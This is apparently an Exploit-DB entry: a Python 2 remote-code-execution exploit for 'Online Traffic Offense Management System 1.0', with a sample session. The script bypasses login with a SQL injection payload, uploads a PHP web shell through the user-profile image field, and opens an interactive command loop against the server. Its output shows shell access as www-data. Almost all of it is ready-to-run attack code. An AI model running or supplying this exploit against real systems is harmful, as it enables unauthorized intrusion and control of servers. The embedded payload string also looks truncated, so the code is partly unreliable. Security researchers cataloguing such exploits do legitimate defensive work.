Online Traffic Offense Management System 1.0 – Remote Code Execution (RCE) (Unauthenticated)

# Exploit Title: Online Traffic Offense Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) # Date: 20-08-2021 # Exploit Author: Halit AKAYDIN (hLtAkydn) # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14909/online-traffic-offense-management-system-php-free-source-code.html # Version: V1 # Category: Webapps # Tested on: Linux/Windows # Online Traffic Offense Management System # contains a file upload vulnerability that allows for remote # code execution against the target. This exploit requires # the user to be authenticated, but a SQL injection in the login form # allows the authentication controls to be bypassed # File uploaded from "/admin/?page=user" has no validation check # and the directory it is placed in allows for execution of PHP code. """ (hltakydn@SpaceSec)-[~/Exploits-db/traffic_offense] $ python2 exploit.py Example: http://example.com Url: http://trafficoffense.com [?] Check Adress [+] Bypass Login [+] Upload Shell [+] Exploit Done! $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ pwd /var/www/html/uploads $ """ #!/usr/bin/env python2 import requests import time from bs4 import BeautifulSoup print ("\nExample: http://example.com\n") url = raw_input("Url: ") payload_name = "evil.php" payload_file = " '; die; } ?>" if url.startswith(('http://', 'https://')): print "Check Url ...\n" else: print "\n[?] Check Adress\n" url = "http://" + url try: response = requests.get(url) except requests.ConnectionError as exception: print("[-] Address not reachable") sys.exit(1) session = requests.session() request_url = url + "/classes/Login.php?f=login" post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"} bypass_user = session.post(request_url, data=post_data) if bypass_user.text == '{"status":"success"}': print ("[+] Bypass Login\n") cookies = session.cookies.get_dict() req = session.get(url + "/admin/?page=user") parser = BeautifulSoup(req.text, 'html.parser') userid = parser.find('input', {'name':'id'}).get("value") firstname = parser.find('input', {'id':'firstname'}).get("value") lastname = parser.find('input', {'id':'lastname'}).get("value") username = parser.find('input', {'id':'username'}).get("value") request_url = url + "/classes/Users.php?f=save" headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n" upload = session.post(request_url, headers=headers, cookies=cookies, data=data) time.sleep(2) if upload.text == "1": print ("[+] Upload Shell\n") time.sleep(2) req = session.get(url + "/admin/?page=user") parser = BeautifulSoup(req.text, 'html.parser') find_shell = parser.find('img', {'id':'cimg'}) print ("[+] Exploit Done!\n") while True: cmd = raw_input("$ ") headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'} request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers) print request.text.replace(" ", "") time.sleep(1) elif upload.text == "2": print ("[-] Try the manual method") request_url = url + "/classes/Login.php?f=logout" cookies = session.cookies.get_dict() headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} session.get(request_url, headers=headers, cookies=cookies) else: print("[!]An unknown error") else: print ("[-] Failed to bypass login panel")